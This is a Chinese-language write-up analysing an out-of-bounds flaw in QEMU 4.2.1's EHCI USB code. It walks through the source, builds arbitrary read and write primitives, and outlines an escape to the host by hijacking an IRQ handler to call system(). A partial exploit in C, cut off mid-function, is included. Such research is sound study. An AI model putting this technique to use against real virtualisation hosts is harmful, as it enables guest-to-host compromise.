(1)制作qcow2虚拟机镜像
创建qcow2硬盘文件:
qemu-img create -f qcow2 ubuntu-server.qcow2 5G
制作linux qcow2镜像:
sudo kvm -m 1028 -cdrom /mnt/hgfs/Share/VM-study/ubuntu-18.04.5-live-server-amd64.iso -drive file=ubuntu-server.qcow2,if=virtio -net nic,model=virtio -net tap,script=no -boot d -vnc :0
后续使用vnc-view连接 127.0.0.1:0 进行系统安装
(2)源码编译qemu
为了qemu启动能使用qxl-vga设备,需要提前安装spice,开启spice进行编译
a、安装spice依赖:
安装spice-protocol:
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure
make
sudo make install
安装celt:
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz
cd celt-0.5.1.3/
./configure
make
sudo make install
安装依赖:
sudo apt install libjpeg-dev
sudo apt-get install libsasl2-dev
安装spice-server
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure
make
sudo make install
b、编译qemu源码
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v4.2.1
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice
make
编译出来qemu的路径为./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64
c、制作usb设备:https://blog.csdn.net/kingtj/article/details/82952783
qemu-img create -f raw disk_01.img 32M
mkfs.vfat disk_01.img
d、启动脚本
/home/osboxes/study/vul/qemu-14364/src/qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \ -machine q35 \ -m 1G \ -hda ubuntu-server.qcow2 \ -device e1000,netdev=net0 \ -netdev user,id=net0,hostfwd=tcp::5555-:22 \ -enable-kvm \ -usb \ -drive if=none,format=raw,id=disk1,file=/home/osboxes/study/vul/qemu-14364/disk_01.img \ -device usb-storage,drive=disk1 \ -device qxl-vga \
e、调试断点(自选)
b do_token_setup
b do_token_in
b do_token_out
b ehci_opreg_write
b usb_ehci_init
b ehci_work_bh
关键结构:
struct USBDevice { DeviceState qdev; USBPort *port; char *port_path; char *serial; void *opaque; uint32_t flags; /* Actual connected speed */ int speed; /* Supported speeds, not in info because it may be variable (hostdevs) */ int speedmask; uint8_t addr; char product_desc[32]; int auto_attach; bool attached; int32_t state; uint8_t setup_buf[8]; uint8_t data_buf[4096]; <----------- int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[USB_MAX_ENDPOINTS]; USBEndpoint ep_out[USB_MAX_ENDPOINTS]; QLIST_HEAD(, USBDescString) strings; const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */ const USBDescDevice *device; int configuration; int ninterfaces; int altsetting[USB_MAX_INTERFACES]; const USBDescConfig *config; const USBDescIface *ifaces[USB_MAX_INTERFACES]; };
EHCIState 结构:
struct EHCIState { USBBus bus; DeviceState *device; qemu_irq irq; MemoryRegion mem; AddressSpace *as; MemoryRegion mem_caps; MemoryRegion mem_opreg; MemoryRegion mem_ports; int companion_count; bool companion_enable; uint16_t capsbase; uint16_t opregbase; uint16_t portscbase; uint16_t portnr; /* properties */ uint32_t maxframes; /* * EHCI spec version 1.0 Section 2.3 * Host Controller Operational Registers */ uint8_t caps[CAPA_SIZE]; union { uint32_t opreg[0x44/sizeof(uint32_t)]; struct { uint32_t usbcmd; uint32_t usbsts; uint32_t usbintr; uint32_t frindex; uint32_t ctrldssegment; uint32_t periodiclistbase; uint32_t asynclistaddr; uint32_t notused[9]; uint32_t configflag; }; }; uint32_t portsc[NB_PORTS]; /* * Internal states, shadow registers, etc */ QEMUTimer *frame_timer; QEMUBH *async_bh; bool working; uint32_t astate; /* Current state in asynchronous schedule */ uint32_t pstate; /* Current state in periodic schedule */ USBPort ports[NB_PORTS]; USBPort *companion_ports[NB_PORTS]; uint32_t usbsts_pending; uint32_t usbsts_frindex; EHCIQueueHead aqueues; EHCIQueueHead pqueues; /* which address to look at next */ uint32_t a_fetch_addr; uint32_t p_fetch_addr; USBPacket ipacket; QEMUSGList isgl; uint64_t last_run_ns; uint32_t async_stepdown; uint32_t periodic_sched_active; bool int_req_by_async; VMChangeStateEntry *vmstate; };
漏洞点在于 qemu-4.2.1\hw\usb\core.c: do_token_setup函数中
【1】处s->setupbuf的内容用户可控,可赋值给s->setuplen最大 0xff<<8 |0xff = 0xffff大小,而【2】处的判断,由上面USBDevice结构可知,s->data_buf的大小为4096个字节。过大的s->setup_len 会进行返回,但s->setup_len已经被赋值了,该处的检查没有起到效果。
static void do_token_setup(USBDevice *s, USBPacket *p) { int request, value, index; if (p->iov.size != 8) { p->status = USB_RET_STALL; return; } usb_packet_copy(p, s->setup_buf, p->iov.size); s->setup_index = 0; p->actual_length = 0; s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; // <----【1】 if (s->setup_len > sizeof(s->data_buf)) { // <----【2】 fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n", s->setup_len, sizeof(s->data_buf)); p->status = USB_RET_STALL; return; } request = (s->setup_buf[0] << 8) | s->setup_buf[1]; value = (s->setup_buf[3] << 8) | s->setup_buf[2]; index = (s->setup_buf[5] << 8) | s->setup_buf[4]; if (s->setup_buf[0] & USB_DIR_IN) { usb_device_handle_control(s, p, request, value, index, s->setup_len, s->data_buf); if (p->status == USB_RET_ASYNC) { s->setup_state = SETUP_STATE_SETUP; } if (p->status != USB_RET_SUCCESS) { return; } if (p->actual_length < s->setup_len) { s->setup_len = p->actual_length; } s->setup_state = SETUP_STATE_DATA; } else { if (s->setup_len == 0) s->setup_state = SETUP_STATE_ACK; else s->setup_state = SETUP_STATE_DATA; } p->actual_length = 8; }
之后在qemu-4.2.1\hw\usb\core.c:do_token_in 中【3】处使用s->setup_len 获得 len,而p->iov.size 也由用户可控,例如设置p->iov.size 大小为0x1f00,则len 最大为0x1f00,大于s->data_buf 的size:4096,所以会在【4】的复制操作造成越界访问。
static void do_token_in(USBDevice *s, USBPacket *p) { int request, value, index; assert(p->ep->nr == 0); request = (s->setup_buf[0] << 8) | s->setup_buf[1]; value = (s->setup_buf[3] << 8) | s->setup_buf[2]; index = (s->setup_buf[5] << 8) | s->setup_buf[4]; switch(s->setup_state) { case SETUP_STATE_ACK: if (!(s->setup_buf[0] & USB_DIR_IN)) { usb_device_handle_control(s, p, request, value, index, s->setup_len, s->data_buf); if (p->status == USB_RET_ASYNC) { return; } s->setup_state = SETUP_STATE_IDLE; p->actual_length = 0; } break; case SETUP_STATE_DATA: if (s->setup_buf[0] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; // <----- 【3】 if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len);// <---- 【4】 s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break; default: p->status = USB_RET_STALL; } }
对于do_token_in中的usb_packet_copy 最终会调用到iov_from_buf, 将s->data_buf + s->setup_index 复制到用户态空间,造成越界读。
static inline size_t iov_from_buf(const struct iovec *iov, unsigned int iov_cnt, size_t offset, const void *buf, size_t bytes) { if (__builtin_constant_p(bytes) && iov_cnt && offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) { memcpy(iov[0].iov_base + offset, buf, bytes); return bytes; } else { return iov_from_buf_full(iov, iov_cnt, offset, buf, bytes); } }
相对的,do_token_out用于越界写。
static void do_token_out(USBDevice *s, USBPacket *p) { assert(p->ep->nr == 0); switch(s->setup_state) { case SETUP_STATE_ACK: if (s->setup_buf[0] & USB_DIR_IN) { s->setup_state = SETUP_STATE_IDLE; /* transfer OK */ } else { /* ignore additional output */ } break; case SETUP_STATE_DATA: if (!(s->setup_buf[0] & USB_DIR_IN)) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len);// <-------- s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break; default: p->status = USB_RET_STALL; } }
do_token_out中的usb_packet_copy 最终会调用到 iov_to_buf:
static inline size_t iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt, size_t offset, void *buf, size_t bytes) { if (__builtin_constant_p(bytes) && iov_cnt && offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) { memcpy(buf, iov[0].iov_base + offset, bytes); return bytes; } else { return iov_to_buf_full(iov, iov_cnt, offset, buf, bytes); } }
详细见链接:https://xz.aliyun.com/t/6562
首先通过mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); 映射到usb 设备的内存。
对usb的初始化中,对 EHCIState 结构中的opreg 的基地址设置在这块内存的偏移0x20。
static void usb_ehci_pci_init(Object *obj) { DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE); EHCIPCIState *i = PCI_EHCI(obj); EHCIState *s = &i->ehci; s->caps[0x09] = 0x68; /* EECP */ s->capsbase = 0x00; s->opregbase = 0x20; // <---------------------- s->portscbase = 0x44; s->portnr = NB_PORTS; if (!dc->hotpluggable) { s->companion_enable = true; } usb_ehci_init(s, DEVICE(obj)); }
对这块内存操作可以直接设置opreg的内容。opreg的内容包括:
union { uint32_t opreg[0x44/sizeof(uint32_t)]; struct { uint32_t usbcmd; uint32_t usbsts; uint32_t usbintr; uint32_t frindex; uint32_t ctrldssegment; uint32_t periodiclistbase; uint32_t asynclistaddr; uint32_t notused[9]; uint32_t configflag; }; };
在usb_ehci_init 函数中又注册了对opreg区域读写的操作函数。
void usb_ehci_init(EHCIState *s, DeviceState *dev) { /* 2.2 host controller interface version */ s->caps[0x00] = (uint8_t)(s->opregbase - s->capsbase); s->caps[0x01] = 0x00; s->caps[0x02] = 0x00; s->caps[0x03] = 0x01; /* HC version */ s->caps[0x04] = s->portnr; /* Number of downstream ports */ s->caps[0x05] = 0x00; /* No companion ports at present */ s->caps[0x06] = 0x00; s->caps[0x07] = 0x00; s->caps[0x08] = 0x80; /* We can cache whole frame, no 64-bit */ s->caps[0x0a] = 0x00; s->caps[0x0b] = 0x00; QTAILQ_INIT(&s->aqueues); QTAILQ_INIT(&s->pqueues); usb_packet_init(&s->ipacket); memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE); memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s, "capabilities", CAPA_SIZE); memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s, "operational", s->portscbase); memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s, "ports", 4 * s->portnr); memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps); memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg); memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase, &s->mem_ports); }
static const MemoryRegionOps ehci_mmio_opreg_ops = { .read = ehci_opreg_read, .write = ehci_opreg_write, .valid.min_access_size = 4, .valid.max_access_size = 4, .endianness = DEVICE_LITTLE_ENDIAN, };
所以对opreg的写操作会调用到ehci_opreg_write函数,如 mmio_write(0x20, 0xddaa); 会调用ehci_opreg_write,此时传入的addr为0(0x20-0x20=0),表示对opreg的偏移0,后续根据addr进行选择处理,0进入USBCMD流程,即对usbcmd进行覆写,将EHCIState->usbcmd 改写成0xddaa。
static void ehci_opreg_write(void *ptr, hwaddr addr, uint64_t val, unsigned size) { EHCIState *s = ptr; uint32_t *mmio = s->opreg + (addr >> 2); uint32_t old = *mmio; int i; trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val); switch (addr) { case USBCMD: if (val & USBCMD_HCRESET) { ehci_reset(s); val = s->usbcmd; break; }
下面讲讲set_EHCIState的目的,分别设置opreg的 periodiclistbase和usbcmd 字段:
void set_EHCIState(){ mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd sleep(1); }
漏洞函数触发的调用链如下:
► f 0 5597194507ac do_token_setup+16 f 1 5597194511ce usb_process_one+134 f 2 5597194513d9 usb_handle_packet+331 f 3 559719469769 ehci_execute+616 f 4 55971946ab96 ehci_state_execute+257 f 5 55971946b0a1 ehci_advance_state+522 f 6 55971946b4f1 ehci_advance_periodic_state+352 f 7 55971946b7f4 ehci_work_bh+422 <----------------------- f 8 55971967eead aio_bh_call+33 f 9 55971967ef45 aio_bh_poll+149 f 10 559719683c1e aio_dispatch+42
在ehci_work_bh中要经过下面判断才能进入ehci_advance_periodic_state(周期性传输):
if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) …… -> static inline bool ehci_periodic_enabled(EHCIState *s) { return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE); // <--------- } -> static inline bool ehci_enabled(EHCIState *s) { return s->usbcmd & USBCMD_RUNSTOP; //<------------ } #define USBCMD_RUNSTOP (1 << 0) #define USBCMD_PSE (1 << 4) #define USBCMD_ASE (1 << 5)
而要进入异步传输则设置usbcmd为 USBCMD_ASE:
if (ehci_async_enabled(ehci) || ehci->astate != EST_INACTIVE) {
need_timer++;
ehci_advance_async_state(ehci);
}
所以要设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE 进入ehci_advance_periodic_state。
static void ehci_advance_periodic_state(EHCIState *ehci) { uint32_t entry; uint32_t list; const int async = 0; // 4.6 switch(ehci_get_state(ehci, async)) { case EST_INACTIVE: if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci)) { ehci_set_state(ehci, async, EST_ACTIVE); // No break, fall through to ACTIVE } else break; case EST_ACTIVE: if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) { ehci_queues_rip_all(ehci, async); ehci_set_state(ehci, async, EST_INACTIVE); break; } list = ehci->periodiclistbase & 0xfffff000; 【1】<--------- /* check that register has been set */ if (list == 0) { break; } list |= ((ehci->frindex & 0x1ff8) >> 1); 【2】<------------ if (get_dwords(ehci, list, &entry, 1) < 0) { break; } DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n", ehci->frindex / 8, list, entry); ehci_set_fetch_addr(ehci, async,entry); 【3】<------------- ehci_set_state(ehci, async, EST_FETCHENTRY); ehci_advance_state(ehci, async); // <----------- ehci_queues_rip_unused(ehci, async); break; default: /* this should only be due to a developer mistake */ fprintf(stderr, "ehci: Bad periodic state %d. " "Resetting to active\n", ehci->pstate); g_assert_not_reached(); } }
【1】处ehci->periodiclistbase已经被我们填充为dmabuf的物理地址,得到的list经过【2】处处理后相当于list = virt2phys(dmabuf)+4,之后通过【3】处ehci_set_fetch_addr函数将list上的内容,即virt2phys(qh)+0x2写入s->p_fetch_addr。
static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr) { if (async) { s->a_fetch_addr = addr; } else { s->p_fetch_addr = addr; } }
get_dwords将list上的内容写入entry,所以我们在dmabuf + 4 填充了virt2phys(qh)+0x2; 作为entry。
entry = dmabuf + 4;
*entry = virt2phys(qh)+0x2;
这里entry为什么要+2呢?回到源码,ehci_advance_periodic_state调用到ehci_advance_state:
static void ehci_advance_state(EHCIState *ehci, int async) { EHCIQueue *q = NULL; int itd_count = 0; int again; do { switch(ehci_get_state(ehci, async)) { case EST_WAITLISTHEAD: again = ehci_state_waitlisthead(ehci, async); break; case EST_FETCHENTRY: again = ehci_state_fetchentry(ehci, async); break; case EST_FETCHQH: q = ehci_state_fetchqh(ehci, async); if (q != NULL) { assert(q->async == async); again = 1; } else { again = 0; } break; ……
我们需要最终运行到EST_FETCHQH,得到qh结构。
do-while循环里第一次运行到EST_FETCHENTRY,通过ehci_state_fetchentry得到entry,即s->p_fetch_addr,我们之前填充的virt2phys(qh)+0x2。
static int ehci_state_fetchentry(EHCIState *ehci, int async) { int again = 0; uint32_t entry = ehci_get_fetch_addr(ehci, async); if (NLPTR_TBIT(entry)) { ehci_set_state(ehci, async, EST_ACTIVE); goto out; } /* section 4.8, only QH in async schedule */ if (async && (NLPTR_TYPE_GET(entry) != NLPTR_TYPE_QH)) { fprintf(stderr, "non queue head request in async schedule\n"); return -1; } switch (NLPTR_TYPE_GET(entry)) { case NLPTR_TYPE_QH: ehci_set_state(ehci, async, EST_FETCHQH); again = 1; break;
在switch (NLPTR_TYPE_GET(entry)) 判断下,我们要进入case NLPTR_TYPE_QH,通过ehci_set_state(ehci, async, EST_FETCHQH), 使得下次do-while循环中运行到EST_FETCHQH,得到qh结构。而NLPTR_TYPE_GET 宏定义内容如下:
#define NLPTR_TYPE_QH 1 // queue head
#define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)
所以需要将entry的内容填充为virt2phys(qh)+0x2,因为(((2) >> 1) & 3) =1。
之后ehci_state_fetchqh 会为entry分配空间, 最终ehci_advance_state得到EHCIqh的地址,然后调用ehci_state_execute,触发到漏洞函数。
void reset_enable_port(){ mmio_write(0x64, PORTSC_PRESET); mmio_write(0x64, PORTSC_PED); }
0x64 的偏移对应到 portsc,对该字段写操作会调用到ehci_port_write:
static void ehci_port_write(void *ptr, hwaddr addr, uint64_t val, unsigned size) { EHCIState *s = ptr; int port = addr >> 2; uint32_t *portsc = &s->portsc[port]; uint32_t old = *portsc; USBDevice *dev = s->ports[port].dev; trace_usb_ehci_portsc_write(addr + s->portscbase, addr >> 2, val); /* Clear rwc bits */ *portsc &= ~(val & PORTSC_RWC_MASK); /* The guest may clear, but not set the PED bit */ *portsc &= val | ~PORTSC_PED; /* POWNER is masked out by RO_MASK as it is RO when we've no companion */ handle_port_owner_write(s, port, val); /* And finally apply RO_MASK */ val &= PORTSC_RO_MASK; if ((val & PORTSC_PRESET) && !(*portsc & PORTSC_PRESET)) { trace_usb_ehci_port_reset(port, 1); 【1】<-------------- } if (!(val & PORTSC_PRESET) &&(*portsc & PORTSC_PRESET)) { trace_usb_ehci_port_reset(port, 0); if (dev && dev->attached) { usb_port_reset(&s->ports[port]); *portsc &= ~PORTSC_CSC; } /* * Table 2.16 Set the enable bit(and enable bit change) to indicate * to SW that this port has a high speed device attached */ if (dev && dev->attached && (dev->speedmask & USB_SPEED_MASK_HIGH)) { val |= PORTSC_PED; 【2】<------------------- } } if ((val & PORTSC_SUSPEND) && !(*portsc & PORTSC_SUSPEND)) { trace_usb_ehci_port_suspend(port); } if (!(val & PORTSC_FPRES) && (*portsc & PORTSC_FPRES)) { trace_usb_ehci_port_resume(port); val &= ~PORTSC_SUSPEND; } *portsc &= ~PORTSC_RO_MASK; *portsc |= val; trace_usb_ehci_portsc_change(addr + s->portscbase, addr >> 2, *portsc, old); }
设置PORTSC_PRESET会调用到【1】处trace_usb_ehci_port_reset(port, 1);进行重置,设置PORTSC_PED后会调用到【2】处,enable port。
前期漏洞触发环境已经设置好了,就可以进行越界读写了
(1)我们先调用do_token_setup 设置s->setup_len 的长度为越界长度,要进入do_token_setup 需要通过设置qtd->token值:
#define QTD_TOKEN_PID_MASK 0x00000300 #define QTD_TOKEN_PID_SH 8 #define get_field(data, field) \ (((data) & field##_MASK) >> field##_SH) #define USB_TOKEN_SETUP 0x2d #define USB_TOKEN_IN 0x69 /* device -> host */ #define USB_TOKEN_OUT 0xe1 /* host -> device */ static int ehci_get_pid(EHCIqtd *qtd) { switch (get_field(qtd->token, QTD_TOKEN_PID)) { case 0: return USB_TOKEN_OUT; case 1: return USB_TOKEN_IN; case 2: return USB_TOKEN_SETUP; default: fprintf(stderr, "bad token\n"); return 0; } }
所以get_field的实际操作为 ((qtd->token)&0x300) >>0x8,所以对于操作的判断实际上是取token第8个和第9个bit进行判断。所以设置成 2 << 8 即可。之后设置setup_buf[7]和setup_buf[6] 构造要越界的长度。
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; if (s->setup_len > sizeof(s->data_buf)) { fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n", s->setup_len, sizeof(s->data_buf)); p->status = USB_RET_STALL; return; }
(2)设置qtd->token 为 1<<8,进入do_token_in, 这里还要设置setup_buf[0]为USB_DIR_IN,才能调用usb_packet_copy,将s->data_buf复制到qtd->bufptr[0],进行泄露。其中 p->iov.size大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH 控制。
case SETUP_STATE_DATA: if (s->setup_buf[0] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break;
同样需要先设置越界长度,再设置qtd->token 为 0<<8,进入do_token_out,同时设置setup_buf[0]为USB_DIR_OUT,将qtd->bufptr[0]复制到s->data_buf进行覆写。
case SETUP_STATE_DATA: if (!(s->setup_buf[0] & USB_DIR_IN)) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break;
这里需要注意的是经过几次调用后,s->setup_index >= s->setup_len 会满足条件,s->setup_state 会被设置成 SETUP_STATE_ACK,可以通过调用一次do_token_setup,设置正常长度,将s->setup_state重新设置成SETUP_STATE_DATA。
do_token_setup: ………… if (s->setup_buf[0] & USB_DIR_IN) { usb_device_handle_control(s, p, request, value, index, s->setup_len, s->data_buf); if (p->status == USB_RET_ASYNC) { s->setup_state = SETUP_STATE_SETUP; } if (p->status != USB_RET_SUCCESS) { return; } if (p->actual_length < s->setup_len) { s->setup_len = p->actual_length; } s->setup_state = SETUP_STATE_DATA; } else { if (s->setup_len == 0) s->setup_state = SETUP_STATE_ACK; else s->setup_state = SETUP_STATE_DATA; // <------------ }
(1)首先设置越界长度为0x1010
(2)进行越界写,将setup_len 设置成0x1010,将setup_index设置成0xfffffff8-0x1010, 因为usb_packet_copy后面还有s->setup_index += len 操作,此时s->setup_index 就会被设置成0xfffffff8。
usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len;
(3)再次进行越界写,此时从data_buf-8处开始写,覆盖了setup字段,将setup[0] 设置成USB_DIR_IN,并且将setup_index 覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时:len = s->setup_len - s->setup_index操作(0x1010-(-0x8)=0x1018),使得len变成0x1018。
case SETUP_STATE_DATA: if (s->setup_buf[0] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len);
(4)最后越界读,就能读取目标地址的内容
unsigned long arb_read(uint64_t target_addr) { setup_state_data(); set_length(0x1010, USB_DIR_OUT); do_copy_write(0, 0x1010, 0xfffffff8-0x1010); *(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN unsigned int target_offset = target_addr - data_buf_addr; do_copy_write(0x8, 0xffff, target_offset - 0x1018);// 这里offset为0x8,是因为从data_buf-8 处开始写。 do_copy_read(); // oob read return *(unsigned long *)(data_buf); }
(1)首先设置越界长度为0x1010
(2)越界写,将setup_len 设置成目标偏移-0x1010,usb_packet_copy后面的s->setup_index += len 操作后,s->setup_index就变成目标偏移offset。将setup_index设置成目标偏移+0x8, 经过下次越界写的len = s->setup_len - s->setup_index =》len=(offset+0x8)-offset=0x8,只修改目标地址8个字节的内容。
(3)再次越界写,修改目标地址的内容。
void arb_write(uint64_t target_addr, uint64_t payload) { setup_state_data(); set_length(0x1010, USB_DIR_OUT); unsigned long offset = target_addr - data_buf_addr; do_copy_write(0, offset+0x8, offset-0x1010); *(unsigned long *)(data_buf) = payload; do_copy_write(0, 0xffff, 0); }
整体利用思路和 https://www.freebuf.com/vuls/247829.html 相同:
(1)通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。
(2)查找越界读出来的内容,看是否有函数地址,就可以通过ida获取该函数的偏移,进而得到elf加载的基地址,以及system@plt的地址。
(3)USBDevice 会在 realize 时,调用usb_claim_port,将USBDevice中的port字段设置为指向
EHCIState中的ports的地址, 读取USBDevice->port的内容就能获得EHCIState->ports 的地址,减去偏移得到 EHCIState的地址。进而得到EHCIState->irq地址。
(4)利用任意写将EHCIState->irq内容填充为伪造的irq地址,将handler 填充成system@plt地址,opaque填充成payload的地址。
struct IRQState { Object parent_obj; qemu_irq_handler handler; void *opaque; int n; };
通过mmio 读写触发ehci_update_irq -> qemu_set_irq,最终执行system("xcalc"),完成利用。
void qemu_set_irq(qemu_irq irq, int level) { if (!irq) return; irq->handler(irq->opaque, irq->n, level); }
(5)最后将保存的EHCIState->irq原内容填充回去,由于会多次调用qemu_set_irq,所以会执行多次payload。
exp代码:
#include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <stdbool.h> #include <netinet/in.h> struct EHCIqh * qh; struct EHCIqtd * qtd; struct ohci_td * td; char *dmabuf; char *setup_buf; unsigned char *mmio_mem; unsigned char *data_buf; unsigned char *data_buf_oob; uint32_t *entry; uint64_t dev_addr; uint64_t data_buf_addr; uint64_t USBPort_addr; #define PORTSC_PRESET (1 << 8) // Port Reset #define PORTSC_PED (1 << 2) // Port Enable/Disable #define USBCMD_RUNSTOP (1 << 0) #define USBCMD_PSE (1 << 4) #define USB_DIR_OUT 0 #define USB_DIR_IN 0x80 #define QTD_TOKEN_ACTIVE (1 << 7) #define USB_TOKEN_SETUP 2 #define USB_TOKEN_IN 1 /* device -> host */ #define USB_TOKEN_OUT 0 /* host -> device */ #define QTD_TOKEN_TBYTES_SH 16 #define QTD_TOKEN_PID_SH 8 typedef struct USBDevice USBDevice; typedef struct USBEndpoint USBEndpoint; struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; USBEndpoint *fd; USBEndpoint *bk; }; struct USBDevice { int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[15]; USBEndpoint ep_out[15]; }; typedef struct EHCIqh { uint32_t next; /* Standard next link pointer */ /* endpoint characteristics */ uint32_t epchar; /* endpoint capabilities */ uint32_t epcap; uint32_t current_qtd; /* Standard next link pointer */ uint32_t next_qtd; /* Standard next link pointer */ uint32_t altnext_qtd; uint32_t token; /* Same as QTD token */ uint32_t bufptr[5]; /* Standard buffer pointer */ } EHCIqh; typedef struct EHCIqtd { uint32_t next; /* Standard next link pointer */ uint32_t altnext; /* Standard next link pointer */ uint32_t token; uint32_t bufptr[5]; /* Standard buffer pointer */ } EHCIqtd; uint64_t virt2phys(void* p) { uint64_t virt = (uint64_t)p; // Assert page alignment int fd = open("/proc/self/pagemap", O_RDONLY); if (fd == -1) die("open"); uint64_t offset = (virt / 0x1000) * 8; lseek(fd, offset, SEEK_SET); uint64_t phys; if (read(fd, &phys, 8 ) != 8) die("read"); // Assert page present phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff); return phys; } void die(const char* msg) { perror(msg); exit(-1); } void mmio_write(uint32_t addr, uint32_t value) { *((uint32_t*)(mmio_mem + addr)) = value; } uint64_t mmio_read(uint32_t addr) { return *((uint64_t*)(mmio_mem + addr)); } void init(){ int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed"); dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (dmabuf == MAP_FAILED) die("mmap"); mlock(dmabuf, 0x3000); entry = dmabuf + 4; qh = dmabuf + 0x100; qtd = dmabuf + 0x200; setup_buf = dmabuf + 0x300; data_buf = dmabuf + 0x1000; data_buf_oob = dmabuf + 0x2000; } void reset_enable_port(){ mmio_write(0x64, PORTSC_PRESET); mmio_write(0x64, PORTSC_PED); } void set_EHCIState(){ mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd sleep(1); } void set_qh(){ qh->epchar = 0x00; qh->token = QTD_TOKEN_ACTIVE; qh->current_qtd = virt2phys(qtd); } void init_state(){ reset_enable_port(); set_qh(); setup_buf[6] = 0xff; setup_buf[7] = 0x0; qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0] = virt2phys(setup_buf); *entry = virt2phys(qh)+0x2; set_EHCIState(); } void 